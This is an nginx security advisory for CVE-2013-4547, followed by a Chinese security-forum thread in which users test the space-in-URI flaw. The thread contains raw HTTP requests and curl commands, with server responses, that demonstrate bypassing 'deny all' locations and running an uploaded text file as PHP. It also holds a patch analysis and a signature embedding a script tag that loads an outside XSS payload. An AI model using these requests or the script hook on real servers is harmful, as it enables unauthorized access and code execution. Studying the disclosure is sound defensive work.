Hello! Ivan Fratric из Google Security Team обнаружил ошибку в nginx, которая позволяет в некоторых случаях обходить ограничения безопасности с помощью специального запроса, а также может иметь другие последствия (CVE-2013-4547). Некоторые проверки URI запроса не делались над символом, следующим за незакодированным символом пробела (незакодированный пробел недопустим в соответствии с протоколом HTTP, однако поддерживается начиная с nginx 0.8.41 из соображений совместимости). Одним из результатов ошибки была возможность получить доступ к файлу, закрытому с помощью ограничений доступа вида location /protected/ { deny all; } запросив его как "/foo /../protected/file" (в случае статических файлов - только если существует каталог "foo ", с пробелом на конце), а также возможность вызывать специальную обработку файла с пробелом на конце в конфигурации вида location ~ \.php$ { fastcgi_pass ... } запросив файл как "/file \0.php". Проблеме подвержены версии nginx 0.8.41 - 1.5.6. Проблема исправлена в nginx 1.5.7, 1.4.4. Патч, исправляющий проблему, доступен тут: http://nginx.org/download/patch.2013.space.txt В качестве временной защиты можно в каждом блоке server{} воспользоваться конфигурацией вида: if ($request_uri ~ " ") { return 444; } -- Maxim Dounin http://nginx.org/en/donation.html
[source]
乌云讨论:
1#
小胖子 (不忘初心,方得始终,想想当初来乌云是为了什么。) | 2013-11-20 10:02
我擦,又来~
2#
养乐多Ngan (Love Lvmm) | 2013-11-20 10:05
是解析漏洞吗?我怎么看是俄语的,脑袋晕了
3#
小胖子 (不忘初心,方得始终,想想当初来乌云是为了什么。) | 2013-11-20 10:07
从0.8.41就开始有的,这覆盖面。
4#
sex is not show | 2013-11-20 10:09
看不懂..
5#
养乐多Ngan (Love Lvmm) | 2013-11-20 10:15
@小胖子 俄文看不懂,是说类似这样的 robots.txt \0.php 这样使用?
6#
ppt (http://www.wooyun.org/.svn/entries?|nuf rof gnikcah|) | 2013-11-20 11:13
我看到了又一波刷分的节奏
7#
GaRY | 2013-11-20 11:24
http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html
英文在这里。不过貌似测试没成功,几位有成功的case么?
8#
Coody (&_&) | 2013-11-20 11:58
...
9#
he1renyagao (<script src=http://xsserme.sinaapp.com/03h4FW?1383289085></script>) | 2013-11-20 12:01
@养乐多Ngan 应该不是这样吧 要有空格的
10#
冷冷的夜 (非本人) | 2013-11-20 12:08
测试失败nginx/1.5.6 ,球正确姿势
11#
养乐多Ngan (Love Lvmm) | 2013-11-20 12:13
@he1renyagao 打了一个空格了。测了几个,没发现有说明的漏洞。
12#
lpcdma | 2013-11-20 12:18
不知道这个漏洞有什么用。
http://www.baidu.com/test.php /../fuck/
这种会跳转到http://www.baidu.com/fuck
我看了自己的nginx服务器如果请求"/test \0.php",实际上就是请求的这个文件,这种文件很明显如果存在的话就是可以解析的。
13#
winsyk | 2013-11-20 13:25
这个漏洞不是像上次的那个解析漏洞,而是用来bypass访问一些被保护的目录。。
14#
Wdot (任意帖子感谢我一下,私信你一个xss.tw邀请码~) | 2013-11-20 18:06
试了下
这条规则
location /protected/ { deny all; }
直接访问 protected/index.php 就可以直接访问了。。。。。。,因为根本就不匹配
15#
xsser (十根阳具有长短!!) | 2013-11-20 18:10
GET /admin/a HTTP/1.1 Host: x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
GET /hi%20/../admin/a HTTP/1.1 Host: x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 403 Forbidden Server: nginx/1.4.3 Date: Wed, 20 Nov 2013 10:09:37 GMT Content-Type: text/html Content-Length: 168 Connection: keep-alive <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.4.3</center> </body> </html>
GET /hi /../admin/a HTTP/1.1 Host: x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive HTTP/1.1 200 OK Server: nginx/1.4.3 Date: Wed, 20 Nov 2013 10:10:02 GMT Content-Type: application/octet-stream Content-Length: 3 Last-Modified: Wed, 20 Nov 2013 09:43:22 GMT Connection: keep-alive ETag: "528c843a-3" Accept-Ranges: bytes OK
16#
xsser (十根阳具有长短!!) | 2013-11-20 18:10
第一个也是403
17#
xsser (十根阳具有长短!!) | 2013-11-20 18:13
需要一个带空格的目录
18#
心伤的胖子 (天凉好个球) | 2013-11-20 18:25
自己测试可以成功,只要有奇葩的程序员,还是有很大影响的。
目录带空格是 bypass 保护目录
文件带空格就是解析漏洞了
19#
winsyk | 2013-11-20 18:31
@Wdot 这个规则不是这样写的,是这样写的。
location ~ /protected/ { deny all; }
20#
winsyk | 2013-11-20 18:33
@xsser 如果是这样,那是不是有点鸡肋?
21#
猪头子 (妹子,要不要我帮你修电脑) | 2013-11-20 18:37
@心伤的胖子 表示你说的方法未成功 @xsser
22#
xsser (十根阳具有长短!!) | 2013-11-20 18:40
@猪头子 文件带空格没有测试成功
23#
xsser (十根阳具有长短!!) | 2013-11-20 18:40
@winsyk 相当鸡肋,千万不要轻易相信那些个动不动就xx互联网的漏洞 信乌云 :)
24#
心伤的胖子 (天凉好个球) | 2013-11-20 18:45
pangzi@pangzi ~$ curl "http://test.com/test.txt " 1 ? <?php phpinfo();?> pangzi@pangzi ~$ curl "http://test.com/test.txt \0.php" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <style type="text/css"> …… </style> <title>phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head> pangzi@pangzi ~$ curl "http://test.com/test.txt%20\0.php" <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"><head> <style type="text/css"> …… </style> <title>phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
25#
心伤的胖子 (天凉好个球) | 2013-11-20 18:46
pangzi@pangzi ~$ curl -I "http://test.com/" HTTP/1.1 200 OK Server: nginx/1.1.19
26#
xsser (十根阳具有长短!!) | 2013-11-20 18:47
cat 1.txt <?php phpinfo(); ?>
27#
xsser (十根阳具有长短!!) | 2013-11-20 18:47
curl "http://127.0.0.1/1.txt%20\0.php" -I HTTP/1.1 404 Not Found Server: nginx/1.4.3 Date: Wed, 20 Nov 2013 10:44:24 GMT Content-Type: text/html Connection: keep-alive X-Powered-By: PHP/5.3.3
28#
疯狗 (谁淫荡啊谁淫荡) | 2013-11-20 18:48
@心伤的胖子 发下nginx配置?
29#
心伤的胖子 (天凉好个球) | 2013-11-20 18:49
location ~ \.php$ { fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }
30#
xsser (十根阳具有长短!!) | 2013-11-20 18:51
location /admin/ { deny all; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; include fastcgi_params; }
31#
xsser (十根阳具有长短!!) | 2013-11-20 18:52
@心伤的胖子 你这个是不是1.txt%00.php 都可以执行啊 我读书少 不要骗我
32#
心伤的胖子 (天凉好个球) | 2013-11-20 18:53
location /paypal/ { deny all; }
目录是这样,同样可以。版本的问题?我试试高版本的。
33#
心伤的胖子 (天凉好个球) | 2013-11-20 18:54
pangzi@pangzi ~$ curl "http://test.com/test.txt%00.php" <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.1.19</center> </body> </html>
我读书也不多,你可以看看。
34#
winsyk | 2013-11-20 18:56
@心伤的胖子 这样配置是错误的,你试试把nginx配置改成下边的试试,会出现403。。。
location ~ /paypal/ { deny all; }
35#
心伤的胖子 (天凉好个球) | 2013-11-20 19:03
@winsyk 你这样 location ~ /paypal/ 就变成只要是目录名为 paypal 的都不能访问,无论是几级目录。
location /paypal/ 这个只是根目录下的 paypal 不能访问。
36#
乌拉拉 | 2013-11-20 19:04
我读书少,你们可以告诉我,是不是必须服务器上必须有一个尾部带空格的目录才可以跳?
37#
Wdot (任意帖子感谢我一下,私信你一个xss.tw邀请码~) | 2013-11-20 19:12
@winsyk
http://mailman.nginx.org/pipermail/nginx-ru/2013-November/052575.html
这里说的就是
location /protected/ { deny all; }
38#
winsyk | 2013-11-20 19:31
@Wdot 我在我nginx上配置这个照样能访问,比如:
location /protected { deny all; }
然后我在protected目录下创建a,在a目录下创建a/t.php,t.php内容为echo "hello world";
[root@test html]# curl http://127.0.0.1/protected <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.5.2</center> </body> </html>
[root@test html]# curl http://127.0.0.1/protected/a <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.5.2</center> </body> </html>
[root@test html]# curl http://127.0.0.1/protected/a/t.php hello world[root@test html]#
在试试
location ~ /protected { deny all; }
[root@test protected]# curl http://127.0.0.1/protected/a <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.5.2</center> </body> </html> [root@test protected]# curl http://127.0.0.1/protected/ <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.5.2</center> </body> </html> [root@test protected]# curl http://127.0.0.1/protected/a/t.php <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.5.2</center> </body> </html>
最后访问的结果还是403,所以这种写法不对,记得改完nginx要重启下nginx或者重新加载配置。
39#
Nebula | 2013-11-20 20:20
意思就是说,常规条件下,连location ~ ^/WEB-INF/* { deny all; } 这个目录限制都绕不过了? 反正鸡肋最多就是用来做后门了!
40#
clozure | 2013-11-21 11:40
没啥意思,http://hi.baidu.com/tcpper/item/c8b540247179b7c4dcf69a93
41#
lpcdma | 2013-11-21 12:01
@心伤的胖子 这不科学啊。
42#
xsser (十根阳具有长短!!) | 2013-11-21 12:08
漏洞细节不说了,从补丁反过来看:
ngx_http_parse.c的617行和670行分别加了个p--,原因是nginx在ngx_http_parse_request_line的时候,本来有个对非法字符的检查和对"/"字符后的"."字符的检查:
538 case sw_check_uri: ...... 593 case '\0': 594 return NGX_HTTP_PARSE_INVALID_REQUEST; 595 } 和 479 case sw_after_slash_in_uri: ...... 500 case '.': 501 r->complex_uri = 1; 502 state = sw_uri; 503 break; 但是只要uri中有个空格,state就会跳到下面的分支: 598 /* space+ after URI */ 599 case sw_check_uri_http_09: 600 switch (ch) { 601 case ' ': 602 break; 603 case CR: 604 r->http_minor = 9; 605 state = sw_almost_done; 606 break; 607 case LF: 608 r->http_minor = 9; 609 goto done; 610 case 'H': 611 r->http_protocol.data = p; 612 state = sw_http_H; 613 break; 614 default: 615 r->space_in_uri = 1; 616 state = sw_check_uri; 617 break;
这边把两种字符的检查都略过去了,所以补丁最后的方案是在几个空格后处理的部分都加上了p--,来重过检查
利用上面,越过null字符检查就可以不被bad request扔出来,给后端的fastcgi传个带null字符的scriptname,之后就截断了,如果php-fpm没有限制security的extentsion,而且可以上传个带空格的东东来真找到这个文件,就可以执行了。至于目录跨越那个,则是因为越过了对"/"后面"."的检查,而导致r->complex_uri标志位没有set上,也就不会在ngx_http_process_request_uri中去做ngx_http_parse_complex_uri来处理掉uri中的"..",最后导致location没匹配到,穿越了。
43#
winsyk | 2013-11-21 12:22
@xsser 赞。